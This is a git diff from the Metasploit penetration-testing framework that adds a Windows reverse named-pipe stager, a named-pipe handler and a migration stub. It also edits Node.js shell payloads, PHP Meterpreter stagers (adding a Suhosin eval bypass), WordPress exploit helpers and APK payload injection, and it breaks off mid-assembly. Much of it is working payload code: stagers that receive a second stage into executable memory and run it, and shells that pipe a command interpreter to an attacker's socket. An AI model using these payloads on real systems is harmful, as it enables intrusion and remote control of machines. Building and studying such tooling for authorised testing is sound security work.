if res.body =~ /form.*action.*wp-comments-post\.php/
|
||||||
|
@ -123,8 +123,8 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
|
||||||
#
|
#
|
||||||
# @param cookie [String] A valid admin session cookie
|
# @param cookie [String] A valid admin session cookie
|
||||||
# @return [String,nil] The nonce, nil on error
|
# @return [String,nil] The nonce, nil on error
|
||||||
def wordpress_helper_get_plugin_upload_nonce(cookie)
|
def wordpress_helper_get_plugin_upload_nonce(cookie, path = nil)
|
||||||
uri = normalize_uri(wordpress_url_backend, 'plugin-install.php')
|
uri = path || normalize_uri(wordpress_url_backend, 'plugin-install.php')
|
||||||
options = {
|
options = {
|
||||||
'method' => 'GET',
|
'method' => 'GET',
|
||||||
'uri' => uri,
|
'uri' => uri,
|
||||||
|
@ -134,6 +134,9 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Helpers
|
||||||
res = send_request_cgi(options)
|
res = send_request_cgi(options)
|
||||||
if res && res.code == 200
|
if res && res.code == 200
|
||||||
return res.body.to_s[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1]
|
return res.body.to_s[/id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"/i, 1]
|
||||||
|
elsif res && res.redirect? && res.redirection
|
||||||
|
path = wordpress_helper_parse_location_header(res)
|
||||||
|
return wordpress_helper_get_plugin_upload_nonce(cookie, path)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -244,11 +244,10 @@ protected
|
||||||
framework.sessions.register(session)
|
framework.sessions.register(session)
|
||||||
|
|
||||||
# Call the handler's on_session() method
|
# Call the handler's on_session() method
|
||||||
on_session(session)
|
if session.respond_to?(:bootstrap)
|
||||||
|
session.bootstrap(datastore, self)
|
||||||
# Process the auto-run scripts for this session
|
else
|
||||||
if session.respond_to?('process_autoruns')
|
on_session(session)
|
||||||
session.process_autoruns(datastore)
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# If there is an exploit associated with this payload, then let's notify
|
# If there is an exploit associated with this payload, then let's notify
|
||||||
|
|
|
@ -0,0 +1,76 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
require 'thread'
|
||||||
|
require 'msf/core/post_mixin'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
module Handler
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# TODO: docs
|
||||||
|
#
|
||||||
|
###
|
||||||
|
module ReverseNamedPipe
|
||||||
|
|
||||||
|
include Msf::Handler
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the string representation of the handler type, in this case
|
||||||
|
# 'reverse_named_pipe'.
|
||||||
|
#
|
||||||
|
def self.handler_type
|
||||||
|
"reverse_named_pipe"
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Returns the connection-described general handler type, in this case
|
||||||
|
# 'reverse'.
|
||||||
|
#
|
||||||
|
def self.general_handler_type
|
||||||
|
"reverse"
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Initializes the reverse handler and ads the options that are required
|
||||||
|
# for reverse named pipe payloads.
|
||||||
|
#
|
||||||
|
def initialize(info={})
|
||||||
|
super
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptString.new('PIPENAME', [true, 'Name of the pipe to listen on', 'msf-pipe']),
|
||||||
|
OptString.new('PIPEHOST', [true, 'Host of the pipe to connect to', '.'])
|
||||||
|
], Msf::Handler::ReverseNamedPipe)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Closes the listener socket if one was created.
|
||||||
|
#
|
||||||
|
def cleanup_handler
|
||||||
|
# we're just pretending to be a handler
|
||||||
|
end
|
||||||
|
|
||||||
|
# A string suitable for displaying to the user
|
||||||
|
#
|
||||||
|
# @return [String]
|
||||||
|
def human_name
|
||||||
|
"reverse named pipe"
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Starts monitoring for an inbound connection.
|
||||||
|
#
|
||||||
|
def start_handler
|
||||||
|
# we're just pretending to be a handler
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Stops monitoring for an inbound connection.
|
||||||
|
#
|
||||||
|
def stop_handler
|
||||||
|
# we're just pretending to be a handler
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -352,6 +352,14 @@ class Msf::Module::Platform
|
||||||
Alias = "java"
|
Alias = "java"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# R
|
||||||
|
#
|
||||||
|
class R < Msf::Module::Platform
|
||||||
|
Rank = 100
|
||||||
|
Alias = "r"
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Ruby
|
# Ruby
|
||||||
#
|
#
|
||||||
|
|
|
@ -41,7 +41,10 @@ class Msf::Payload::Apk
|
||||||
application = amanifest.xpath('//application')
|
application = amanifest.xpath('//application')
|
||||||
application_name = application.attribute("name")
|
application_name = application.attribute("name")
|
||||||
if application_name
|
if application_name
|
||||||
return application_name.to_s
|
application_str = application_name.to_s
|
||||||
|
unless application_str == 'android.app.Application'
|
||||||
|
return application_str
|
||||||
|
end
|
||||||
end
|
end
|
||||||
activities = amanifest.xpath("//activity|//activity-alias")
|
activities = amanifest.xpath("//activity|//activity-alias")
|
||||||
for activity in activities
|
for activity in activities
|
||||||
|
@ -221,7 +224,7 @@ class Msf::Payload::Apk
|
||||||
FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali")
|
FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali")
|
||||||
|
|
||||||
package = amanifest.xpath("//manifest").first['package']
|
package = amanifest.xpath("//manifest").first['package']
|
||||||
package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}"
|
package = package.downcase + ".#{Rex::Text::rand_text_alpha_lower(5)}"
|
||||||
classes = {}
|
classes = {}
|
||||||
classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize
|
classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize
|
||||||
classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize
|
classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize
|
||||||
|
|
|
@ -31,7 +31,7 @@ module Payload::Linux::BindTcp
|
||||||
|
|
||||||
# Generate the more advanced stager if we have the space
|
# Generate the more advanced stager if we have the space
|
||||||
if self.available_space && required_space <= self.available_space
|
if self.available_space && required_space <= self.available_space
|
||||||
conf[:exitfunk] = datastore['EXITFUNC'],
|
conf[:exitfunk] = datastore['EXITFUNC']
|
||||||
conf[:reliable] = true
|
conf[:reliable] = true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -18,8 +18,13 @@ module Msf::Payload::NodeJS
|
||||||
var server = net.createServer(function(socket) {
|
var server = net.createServer(function(socket) {
|
||||||
var sh = cp.spawn(cmd, []);
|
var sh = cp.spawn(cmd, []);
|
||||||
socket.pipe(sh.stdin);
|
socket.pipe(sh.stdin);
|
||||||
util.pump(sh.stdout, socket);
|
if (typeof util.pump === "undefined") {
|
||||||
util.pump(sh.stderr, socket);
|
sh.stdout.pipe(client.socket);
|
||||||
|
sh.stderr.pipe(client.socket);
|
||||||
|
} else {
|
||||||
|
util.pump(sh.stdout, client.socket);
|
||||||
|
util.pump(sh.stderr, client.socket);
|
||||||
|
}
|
||||||
});
|
});
|
||||||
server.listen(#{datastore['LPORT']});
|
server.listen(#{datastore['LPORT']});
|
||||||
})();
|
})();
|
||||||
|
@ -53,8 +58,13 @@ module Msf::Payload::NodeJS
|
||||||
var client = this;
|
var client = this;
|
||||||
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
|
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
|
||||||
client.socket.pipe(sh.stdin);
|
client.socket.pipe(sh.stdin);
|
||||||
util.pump(sh.stdout, client.socket);
|
if (typeof util.pump === "undefined") {
|
||||||
util.pump(sh.stderr, client.socket);
|
sh.stdout.pipe(client.socket);
|
||||||
|
sh.stderr.pipe(client.socket);
|
||||||
|
} else {
|
||||||
|
util.pump(sh.stdout, client.socket);
|
||||||
|
util.pump(sh.stderr, client.socket);
|
||||||
|
}
|
||||||
});
|
});
|
||||||
})();
|
})();
|
||||||
EOS
|
EOS
|
||||||
|
|
|
@ -109,7 +109,15 @@ while (strlen($b) < $len) {
|
||||||
# Set up the socket for the main stage to use.
|
# Set up the socket for the main stage to use.
|
||||||
$GLOBALS['msgsock'] = $s;
|
$GLOBALS['msgsock'] = $s;
|
||||||
$GLOBALS['msgsock_type'] = $s_type;
|
$GLOBALS['msgsock_type'] = $s_type;
|
||||||
eval($b);
|
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
|
||||||
|
{
|
||||||
|
$suhosin_bypass=create_function('', $b);
|
||||||
|
$suhosin_bypass();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
eval($b);
|
||||||
|
}
|
||||||
die();^
|
die();^
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -102,7 +102,15 @@ while (strlen($b) < $len) {
|
||||||
# Set up the socket for the main stage to use.
|
# Set up the socket for the main stage to use.
|
||||||
$GLOBALS['msgsock'] = $s;
|
$GLOBALS['msgsock'] = $s;
|
||||||
$GLOBALS['msgsock_type'] = $s_type;
|
$GLOBALS['msgsock_type'] = $s_type;
|
||||||
eval($b);
|
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
|
||||||
|
{
|
||||||
|
$suhosin_bypass=create_function('', $b);
|
||||||
|
$suhosin_bypass();
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
eval($b);
|
||||||
|
}
|
||||||
die();^
|
die();^
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -165,8 +165,6 @@ module Msf::Payload::Stager
|
||||||
# If the stage should be sent over the client connection that is
|
# If the stage should be sent over the client connection that is
|
||||||
# established (which is the default), then go ahead and transmit it.
|
# established (which is the default), then go ahead and transmit it.
|
||||||
if (stage_over_connection?)
|
if (stage_over_connection?)
|
||||||
opts = {}
|
|
||||||
|
|
||||||
if respond_to? :include_send_uuid
|
if respond_to? :include_send_uuid
|
||||||
if include_send_uuid
|
if include_send_uuid
|
||||||
uuid_raw = conn.get_once(16, 1)
|
uuid_raw = conn.get_once(16, 1)
|
||||||
|
|
|
@ -11,31 +11,35 @@ module Msf::Payload::TransportConfig
|
||||||
include Msf::Payload::UUID::Options
|
include Msf::Payload::UUID::Options
|
||||||
|
|
||||||
def transport_config_reverse_tcp(opts={})
|
def transport_config_reverse_tcp(opts={})
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
config = transport_config_bind_tcp(opts)
|
config = transport_config_bind_tcp(opts)
|
||||||
config[:lhost] = datastore['LHOST']
|
config[:lhost] = ds['LHOST']
|
||||||
config
|
config
|
||||||
end
|
end
|
||||||
|
|
||||||
def transport_config_reverse_ipv6_tcp(opts={})
|
def transport_config_reverse_ipv6_tcp(opts={})
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
config = transport_config_reverse_tcp(opts)
|
config = transport_config_reverse_tcp(opts)
|
||||||
config[:scheme] = 'tcp6'
|
config[:scheme] = 'tcp6'
|
||||||
config[:scope_id] = datastore['SCOPEID']
|
config[:scope_id] = ds['SCOPEID']
|
||||||
config
|
config
|
||||||
end
|
end
|
||||||
|
|
||||||
def transport_config_bind_tcp(opts={})
|
def transport_config_bind_tcp(opts={})
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
{
|
{
|
||||||
scheme: 'tcp',
|
scheme: 'tcp',
|
||||||
lhost: datastore['LHOST'],
|
lhost: ds['LHOST'],
|
||||||
lport: datastore['LPORT'].to_i
|
lport: ds['LPORT'].to_i
|
||||||
}.merge(timeout_config)
|
}.merge(timeout_config(opts))
|
||||||
end
|
end
|
||||||
|
|
||||||
def transport_config_reverse_https(opts={})
|
def transport_config_reverse_https(opts={})
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
config = transport_config_reverse_http(opts)
|
config = transport_config_reverse_http(opts)
|
||||||
config[:scheme] = datastore['OverrideScheme'] || 'https'
|
config[:scheme] = ds['OverrideScheme'] || 'https'
|
||||||
config[:ssl_cert_hash] = get_ssl_cert_hash(datastore['StagerVerifySSLCert'],
|
config[:ssl_cert_hash] = get_ssl_cert_hash(ds['StagerVerifySSLCert'],
|
||||||
datastore['HandlerSSLCert'])
|
ds['HandlerSSLCert'])
|
||||||
config
|
config
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -50,27 +54,38 @@ module Msf::Payload::TransportConfig
|
||||||
uri = luri + generate_uri_uuid(sum, opts[:uuid])
|
uri = luri + generate_uri_uuid(sum, opts[:uuid])
|
||||||
end
|
end
|
||||||
|
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
{
|
{
|
||||||
scheme: datastore['OverrideScheme'] || 'http',
|
scheme: ds['OverrideScheme'] || 'http',
|
||||||
lhost: opts[:lhost] || datastore['LHOST'],
|
lhost: opts[:lhost] || ds['LHOST'],
|
||||||
lport: (opts[:lport] || datastore['LPORT']).to_i,
|
lport: (opts[:lport] || ds['LPORT']).to_i,
|
||||||
uri: uri,
|
uri: uri,
|
||||||
ua: datastore['MeterpreterUserAgent'],
|
ua: ds['MeterpreterUserAgent'],
|
||||||
proxy_host: datastore['PayloadProxyHost'],
|
proxy_host: ds['PayloadProxyHost'],
|
||||||
proxy_port: datastore['PayloadProxyPort'],
|
proxy_port: ds['PayloadProxyPort'],
|
||||||
proxy_type: datastore['PayloadProxyType'],
|
proxy_type: ds['PayloadProxyType'],
|
||||||
proxy_user: datastore['PayloadProxyUser'],
|
proxy_user: ds['PayloadProxyUser'],
|
||||||
proxy_pass: datastore['PayloadProxyPass']
|
proxy_pass: ds['PayloadProxyPass']
|
||||||
}.merge(timeout_config)
|
}.merge(timeout_config(opts))
|
||||||
|
end
|
||||||
|
|
||||||
|
def transport_config_reverse_named_pipe(opts={})
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
|
{
|
||||||
|
scheme: 'pipe',
|
||||||
|
lhost: ds[:pipe_host] || ds['PIPEHOST'],
|
||||||
|
uri: "/#{ds[:pipe_host] || ds['PIPENAME']}"
|
||||||
|
}.merge(timeout_config(opts))
|
||||||
end
|
end
|
||||||
|
|
||||||
private
|
private
|
||||||
|
|
||||||
def timeout_config
|
def timeout_config(opts={})
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
{
|
{
|
||||||
comm_timeout: datastore['SessionCommunicationTimeout'].to_i,
|
comm_timeout: (ds[:comm_timeout] || ds['SessionCommunicationTimeout']).to_i,
|
||||||
retry_total: datastore['SessionRetryTotal'].to_i,
|
retry_total: (ds[:retry_total] || ds['SessionRetryTotal']).to_i,
|
||||||
retry_wait: datastore['SessionRetryWait'].to_i
|
retry_wait: (ds[:retry_wait] || ds['SessionRetryWait']).to_i
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -35,7 +35,7 @@ module Payload::Windows::BindTcp
|
||||||
|
|
||||||
# Generate the more advanced stager if we have the space
|
# Generate the more advanced stager if we have the space
|
||||||
if self.available_space && required_space <= self.available_space
|
if self.available_space && required_space <= self.available_space
|
||||||
conf[:exitfunk] = datastore['EXITFUNC'],
|
conf[:exitfunk] = datastore['EXITFUNC']
|
||||||
conf[:reliable] = true
|
conf[:reliable] = true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -33,7 +33,7 @@ module Payload::Windows::BindTcpRc4
|
||||||
|
|
||||||
# Generate the more advanced stager if we have the space
|
# Generate the more advanced stager if we have the space
|
||||||
if self.available_space && required_space <= self.available_space
|
if self.available_space && required_space <= self.available_space
|
||||||
conf[:exitfunk] = datastore['EXITFUNC'],
|
conf[:exitfunk] = datastore['EXITFUNC']
|
||||||
conf[:reliable] = true
|
conf[:reliable] = true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -28,7 +28,7 @@ module Payload::Windows::MeterpreterLoader
|
||||||
],
|
],
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
'Arch' => ARCH_X86,
|
'Arch' => ARCH_X86,
|
||||||
'PayloadCompat' => { 'Convention' => 'sockedi -https', },
|
'PayloadCompat' => { 'Convention' => 'sockedi handleedi -https', },
|
||||||
'Stage' => { 'Payload' => "" }
|
'Stage' => { 'Payload' => "" }
|
||||||
))
|
))
|
||||||
end
|
end
|
||||||
|
@ -53,9 +53,9 @@ module Payload::Windows::MeterpreterLoader
|
||||||
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
|
add ebx, #{"0x%.8x" % (opts[:length] - opts[:rdi_offset])}
|
||||||
^
|
^
|
||||||
|
|
||||||
unless opts[:stageless]
|
unless opts[:stageless] || opts[:force_write_handle] == true
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
mov [ebx], edi ; write the current socket to the config
|
mov [ebx], edi ; write the current socket/handle to the config
|
||||||
^
|
^
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -77,13 +77,14 @@ module Payload::Windows::MeterpreterLoader
|
||||||
|
|
||||||
# create the configuration block, which for staged connections is really simple.
|
# create the configuration block, which for staged connections is really simple.
|
||||||
config_opts = {
|
config_opts = {
|
||||||
arch: opts[:uuid].arch,
|
arch: opts[:uuid].arch,
|
||||||
exitfunk: ds['EXITFUNC'],
|
null_session_guid: opts[:null_session_guid] == true,
|
||||||
expiration: ds['SessionExpirationTimeout'].to_i,
|
exitfunk: ds[:exit_func] || ds['EXITFUNC'],
|
||||||
uuid: opts[:uuid],
|
expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i,
|
||||||
transports: opts[:transport_config] || [transport_config(opts)],
|
uuid: opts[:uuid],
|
||||||
extensions: [],
|
transports: opts[:transport_config] || [transport_config(opts)],
|
||||||
stageless: opts[:stageless] == true
|
extensions: [],
|
||||||
|
stageless: opts[:stageless] == true
|
||||||
}
|
}
|
||||||
|
|
||||||
# create the configuration instance based off the parameters
|
# create the configuration instance based off the parameters
|
||||||
|
|
|
@ -3,3 +3,4 @@
|
||||||
require 'msf/core/payload/windows/block_api'
|
require 'msf/core/payload/windows/block_api'
|
||||||
require 'msf/core/payload/windows/migrate_tcp'
|
require 'msf/core/payload/windows/migrate_tcp'
|
||||||
require 'msf/core/payload/windows/migrate_http'
|
require 'msf/core/payload/windows/migrate_http'
|
||||||
|
require 'msf/core/payload/windows/migrate_named_pipe'
|
||||||
|
|
|
@ -0,0 +1,47 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/payload/windows/migrate_common'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# Payload that supports migrating over Named Pipe transports on x86.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
|
||||||
|
module Payload::Windows::MigrateNamedPipe
|
||||||
|
|
||||||
|
include Msf::Payload::Windows::MigrateCommon
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Migrate over Named Pipe transport',
|
||||||
|
'Description' => 'Migration stub to use over Named Pipe transports',
|
||||||
|
'Author' => ['OJ Reeves'],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
))
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Constructs the payload
|
||||||
|
#
|
||||||
|
def generate_migrate(opts = {})
|
||||||
|
%Q^
|
||||||
|
start_migrate_pipe:
|
||||||
|
mov edi, [esi+16] ; The duplicated pipe handle is in the migrate context.
|
||||||
|
signal_pipe_event:
|
||||||
|
push dword [esi] ; Event handle is pointed at by esi
|
||||||
|
push #{Rex::Text.block_api_hash('kernel32.dll', 'SetEvent')}
|
||||||
|
call ebp ; SetEvent(handle)
|
||||||
|
call_pipe_payload:
|
||||||
|
call dword [esi+8] ; call the associated payload
|
||||||
|
^
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,287 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/payload/transport_config'
|
||||||
|
require 'msf/core/payload/windows/send_uuid'
|
||||||
|
require 'msf/core/payload/windows/block_api'
|
||||||
|
require 'msf/core/payload/windows/exitfunk'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# Complex reverse_named_pipe payload generation for Windows ARCH_X86
|
||||||
|
#
|
||||||
|
###
|
||||||
|
|
||||||
|
module Payload::Windows::ReverseNamedPipe
|
||||||
|
|
||||||
|
include Msf::Payload::TransportConfig
|
||||||
|
include Msf::Payload::Windows
|
||||||
|
include Msf::Payload::Windows::SendUUID
|
||||||
|
include Msf::Payload::Windows::BlockApi
|
||||||
|
include Msf::Payload::Windows::Exitfunk
|
||||||
|
|
||||||
|
#
|
||||||
|
# Register reverse_named_pipe specific options
|
||||||
|
#
|
||||||
|
def initialize(*args)
|
||||||
|
super
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate the first stage
|
||||||
|
#
|
||||||
|
def generate
|
||||||
|
conf = {
|
||||||
|
name: datastore['PIPENAME'],
|
||||||
|
host: datastore['PIPEHOST'] || '.',
|
||||||
|
retry_count: datastore['ReverseConnectRetries'],
|
||||||
|
reliable: false
|
||||||
|
}
|
||||||
|
|
||||||
|
# Generate the advanced stager if we have space
|
||||||
|
unless self.available_space.nil? || required_space > self.available_space
|
||||||
|
conf[:exitfunk] = datastore['EXITFUNC']
|
||||||
|
conf[:reliable] = true
|
||||||
|
end
|
||||||
|
|
||||||
|
generate_reverse_named_pipe(conf)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# By default, we don't want to send the UUID, but we'll send
|
||||||
|
# for certain payloads if requested.
|
||||||
|
#
|
||||||
|
def include_send_uuid
|
||||||
|
false
|
||||||
|
end
|
||||||
|
|
||||||
|
def transport_config(opts={})
|
||||||
|
transport_config_reverse_named_pipe(opts)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate and compile the stager
|
||||||
|
#
|
||||||
|
def generate_reverse_named_pipe(opts={})
|
||||||
|
combined_asm = %Q^
|
||||||
|
cld ; Clear the direction flag.
|
||||||
|
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
||||||
|
#{asm_block_api}
|
||||||
|
start:
|
||||||
|
pop ebp
|
||||||
|
#{asm_reverse_named_pipe(opts)}
|
||||||
|
^
|
||||||
|
|
||||||
|
#"\xCC" + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||||
|
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Determine the maximum amount of space required for the features requested
|
||||||
|
#
|
||||||
|
def required_space
|
||||||
|
# Start with our cached default generated size
|
||||||
|
space = cached_size
|
||||||
|
|
||||||
|
# EXITFUNK 'thread' is the biggest by far, adds 29 bytes.
|
||||||
|
space += 29
|
||||||
|
|
||||||
|
# Reliability adds some bytes!
|
||||||
|
space += 44
|
||||||
|
|
||||||
|
space += uuid_required_size if include_send_uuid
|
||||||
|
|
||||||
|
# The final estimated size
|
||||||
|
space
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate an assembly stub with the configured feature set and options.
|
||||||
|
#
|
||||||
|
# @option opts [Fixnum] :port The port to connect to
|
||||||
|
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||||
|
# @option opts [Bool] :reliable Whether or not to enable error handling code
|
||||||
|
#
|
||||||
|
def asm_reverse_named_pipe(opts={})
|
||||||
|
|
||||||
|
retry_count = [opts[:retry_count].to_i, 1].max
|
||||||
|
reliable = opts[:reliable]
|
||||||
|
# we have to double-escape because of metasm
|
||||||
|
full_pipe_name = "\\\\\\\\#{opts[:host]}\\\\pipe\\\\#{opts[:name]}"
|
||||||
|
|
||||||
|
asm = %Q^
|
||||||
|
; Input: EBP must be the address of 'api_call'.
|
||||||
|
; Output: EDI will be the handle for the pipe to the server
|
||||||
|
|
||||||
|
retry_start:
|
||||||
|
push #{retry_count} ; retry counter
|
||||||
|
mov esi, esp ; keep track of where the variables are
|
||||||
|
|
||||||
|
try_reverse_named_pipe:
|
||||||
|
; Start by setting up the call to CreateFile
|
||||||
|
xor ebx, ebx ; EBX will be used for pushing zero
|
||||||
|
push ebx ; hTemplateFile
|
||||||
|
push ebx ; dwFlagsAndAttributes
|
||||||
|
push 3 ; dwCreationDisposition (OPEN_EXISTING)
|
||||||
|
push ebx ; lpSecurityAttributes
|
||||||
|
push ebx ; dwShareMode
|
||||||
|
push 0xC0000000 ; dwDesiredAccess (GENERIC_READ|GENERIC_WRITE)
|
||||||
|
call get_pipe_name
|
||||||
|
db "#{full_pipe_name}", 0x00
|
||||||
|
get_pipe_name:
|
||||||
|
; lpFileName (via call)
|
||||||
|
push #{Rex::Text.block_api_hash('kernel32.dll', 'CreateFileA')}
|
||||||
|
call ebp ; CreateFileA(...)
|
||||||
|
|
||||||
|
; If eax is -1, then we had a failure.
|
||||||
|
cmp eax, -1 ; -1 means a failure
|
||||||
|
jnz connected
|
||||||
|
|
||||||
|
handle_connect_failure:
|
||||||
|
; decrement our attempt count and try again
|
||||||
|
dec [esi]
|
||||||
|
jnz try_reverse_named_pipe
|
||||||
|
^
|
||||||
|
|
||||||
|
if opts[:exitfunk]
|
||||||
|
asm << %Q^
|
||||||
|
failure:
|
||||||
|
call exitfunk
|
||||||
|
^
|
||||||
|
else
|
||||||
|
asm << %Q^
|
||||||
|
failure:
|
||||||
|
push 0x56A2B5F0 ; hardcoded to exitprocess for size
|
||||||
|
call ebp
|
||||||
|
^
|
||||||
|
end
|
||||||
|
|
||||||
|
asm << %Q^
|
||||||
|
; this label is required so that reconnect attempts include
|
||||||
|
; the UUID stuff if required.
|
||||||
|
connected:
|
||||||
|
xchg edi, eax ; edi now has the file handle we'll need in future
|
||||||
|
^
|
||||||
|
|
||||||
|
asm << asm_write_uuid if include_send_uuid
|
||||||
|
|
||||||
|
asm << %Q^
|
||||||
|
; Receive the size of the incoming second stage...
|
||||||
|
push ebx ; buffer for lpNumberOfBytesRead
|
||||||
|
mov ecx, esp
|
||||||
|
push ebx ; buffer for lpBuffer
|
||||||
|
mov esi, esp
|
||||||
|
push ebx ; lpOverlapped
|
||||||
|
push ecx ; lpNumberOfBytesRead
|
||||||
|
push 4 ; nNumberOfBytesToRead = sizeof( DWORD );
|
||||||
|
push esi ; lpBuffer
|
||||||
|
push edi ; hFile
|
||||||
|
push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
|
||||||
|
call ebp ; ReadFile(...) to read the size
|
||||||
|
^
|
||||||
|
|
||||||
|
if reliable
|
||||||
|
asm << %Q^
|
||||||
|
; reliability: check to see if the file read worked, retry otherwise
|
||||||
|
; if it fails
|
||||||
|
test eax, eax
|
||||||
|
jz cleanup_file
|
||||||
|
mov eax, [esi+4] ; check to see if bytes were read
|
||||||
|
test eax, eax
|
||||||
|
jz cleanup_file
|
||||||
|
^
|
||||||
|
end
|
||||||
|
|
||||||
|
asm << %Q^
|
||||||
|
; Alloc a RWX buffer for the second stage
|
||||||
|
mov esi, [esi] ; dereference the pointer to the second stage length
|
||||||
|
push 0x40 ; PAGE_EXECUTE_READWRITE
|
||||||
|
push 0x1000 ; MEM_COMMIT
|
||||||
|
push esi ; push the newly received second stage length.
|
||||||
|
push 0 ; NULL as we dont care where the allocation is.
|
||||||
|
push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
|
||||||
|
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||||
|
; Receive the second stage and execute it...
|
||||||
|
xchg ebx, eax ; ebx = our new memory address for the new stage
|
||||||
|
push ebx ; push the address of the new stage so we can return into it
|
||||||
|
|
||||||
|
read_more:
|
||||||
|
; prepare the size min(0x10000, esi)
|
||||||
|
mov ecx, 0x10000 ; stupid named pipe buffer limit
|
||||||
|
cmp ecx, esi
|
||||||
|
jle size_is_good
|
||||||
|
mov ecx, esi
|
||||||
|
|
||||||
|
size_is_good:
|
||||||
|
; Invoke a read
|
||||||
|
push eax ; space for the number of bytes
|
||||||
|
mov eax, esp ; store the pointer
|
||||||
|
push 0 ; lpOverlapped
|
||||||
|
push eax ; lpNumberOfBytesRead
|
||||||
|
push ecx ; nNumberOfBytesToRead
|
||||||
|
push ebx ; lpBuffer
|
||||||
|
push edi ; hFile
|
||||||
|
push #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
|
||||||
|
call ebp ; ReadFile(...) to read the data
|
||||||
|
^
|
||||||
|
|
||||||
|
if reliable
|
||||||
|
asm << %Q^
|
||||||
|
; reliability: check to see if the recv worked, and reconnect
|
||||||
|
; if it fails
|
||||||
|
cmp eax, 0
|
||||||
|
jz read_failed
|
||||||
|
pop eax ; get the number of bytes read
|
||||||
|
cmp eax, 0
|
||||||
|
jnz read_successful
|
||||||
|
|
||||||
|
read_failed:
|
||||||
|
; something failed, free up memory
|
||||||
|
pop eax ; get the address of the payload
|
||||||
|
push 0x4000 ; dwFreeType (MEM_DECOMMIT)
|
||||||
|
push 0 ; dwSize
|
||||||
|
